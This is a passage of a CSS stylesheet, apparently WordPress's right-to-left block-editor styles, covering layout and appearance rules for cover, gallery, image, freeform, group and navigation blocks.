.wp-block-comments-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-comments-title.has-background{
  padding:inherit;
}
.editor-styles-wrapper .wp-block-cover{
  box-sizing:border-box;
}
.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  opacity:.3;
}
.wp-block-cover .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  z-index:1;
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:right;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-right:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.wp-block-cover>.components-drop-zone .components-drop-zone__content{
  opacity:.8 !important;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-cover:after{
  min-height:auto;
}

.wp-block-details summary div{
  display:inline;
}

.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-embed__learn-more{
  margin-top:1em;
}
.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-right:.75em;
}

.wp-block-form-input .is-input-hidden{
  background:repeating-linear-gradient(-45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  font-size:.85em;
  opacity:.3;
  padding:.5em;
}
.wp-block-form-input .is-input-hidden input[type=text]{
  background:#0000;
}
.wp-block-form-input.is-selected .is-input-hidden{
  background:none;
  opacity:1;
}
.wp-block-form-input.is-selected .is-input-hidden input[type=text]{
  background:unset;
}

.wp-block-form-submission-notification>*{
  background:repeating-linear-gradient(-45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  opacity:.25;
}
.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{
  background:none;
  opacity:1;
}
.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{
  display:none !important;
}
.wp-block-form-submission-notification:after{
  align-items:center;
  display:flex;
  font-size:1.1em;
  height:100%;
  justify-content:center;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.wp-block-form-submission-notification.form-notification-type-success:after{
  content:attr(data-message-success);
}
.wp-block-form-submission-notification.form-notification-type-error:after{
  content:attr(data-message-error);
}

.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-right:0;
  padding-right:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-right:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-right:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:right;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
  transition:border-color .1s linear,box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  div[data-type="core/freeform"]:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:0;
  margin-right:8px;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}

figure.wp-block-gallery{
  display:block;
}
figure.wp-block-gallery>.blocks-gallery-caption{
  flex:0 0 100%;
}
figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
figure.wp-block-gallery .wp-block-image .components-notice.is-error{
  display:block;
}
figure.wp-block-gallery .wp-block-image .components-notice__content{
  margin:4px 0;
}
figure.wp-block-gallery .wp-block-image .components-notice__dismiss{
  left:5px;
  position:absolute;
  top:0;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
figure.wp-block-gallery .block-editor-media-placeholder{
  margin:0;
}
figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
figure.wp-block-gallery .block-editor-media-placeholder figcaption{
  z-index:2;
}
figure.wp-block-gallery .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-left:8px;
}

.gallery-image-sizes .components-base-control__label{
  display:block;
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 4px 0 8px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{
  display:inline-flex;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.block-library-gallery-item__inline-menu{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:none;
  margin:8px;
  position:absolute;
  top:-2px;
  transition:box-shadow .2s ease-out;
  z-index:20;
}
@media (prefers-reduced-motion:reduce){
  .block-library-gallery-item__inline-menu{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-library-gallery-item__inline-menu:hover{
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{
    padding:2px;
  }
}
.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){
  border:none;
  box-shadow:none;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{
    height:inherit;
    padding:0;
    width:inherit;
  }
}
.block-library-gallery-item__inline-menu.is-left{
  right:-2px;
}
.block-library-gallery-item__inline-menu.is-right{
  left:-2px;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}
.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  content:"";
  display:flex;
  flex:1 0 48px;
  min-height:46px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.wp-block-group__placeholder .wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:center;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.wp-block-group__placeholder .components-placeholder__instructions{
  margin-bottom:18px;
  text-align:center;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{
  fill:#ccc !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{
  fill:var(--wp-admin-theme-color) !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  margin:0 12px 12px;
  width:auto;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{
  height:32px;
  padding:0;
  width:44px;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{
  box-shadow:none;
}
.wp-block-group__placeholder .components-placeholder{
  min-height:auto;
  padding:24px;
}
.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{
  margin:12px;
}

.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-image.wp-block-image.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  filter:none !important;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{
  opacity:1;
}
.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{
  transition:none;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__aspect-ratio{
  align-items:center;
  display:flex;
  height:46px;
  margin-bottom:-8px;
}
.wp-block-image__aspect-ratio .components-button{
  padding-left:0;
  padding-right:0;
  width:36px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}

.wp-block-latest-posts{
  padding-right:2.5em;
}
.wp-block-latest-posts.is-grid{
  padding-right:0;
}
.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

.edit-post-visual-editor .wp-block-latest-posts.is-grid li{
  margin-bottom:20px;
}

.editor-latest-posts-image-alignment-control .components-base-control__label{
  display:block;
}
.editor-latest-posts-image-alignment-control .components-toolbar{
  border-radius:2px;
}

.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}

.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}
.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  margin-left:0;
  margin-right:auto;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
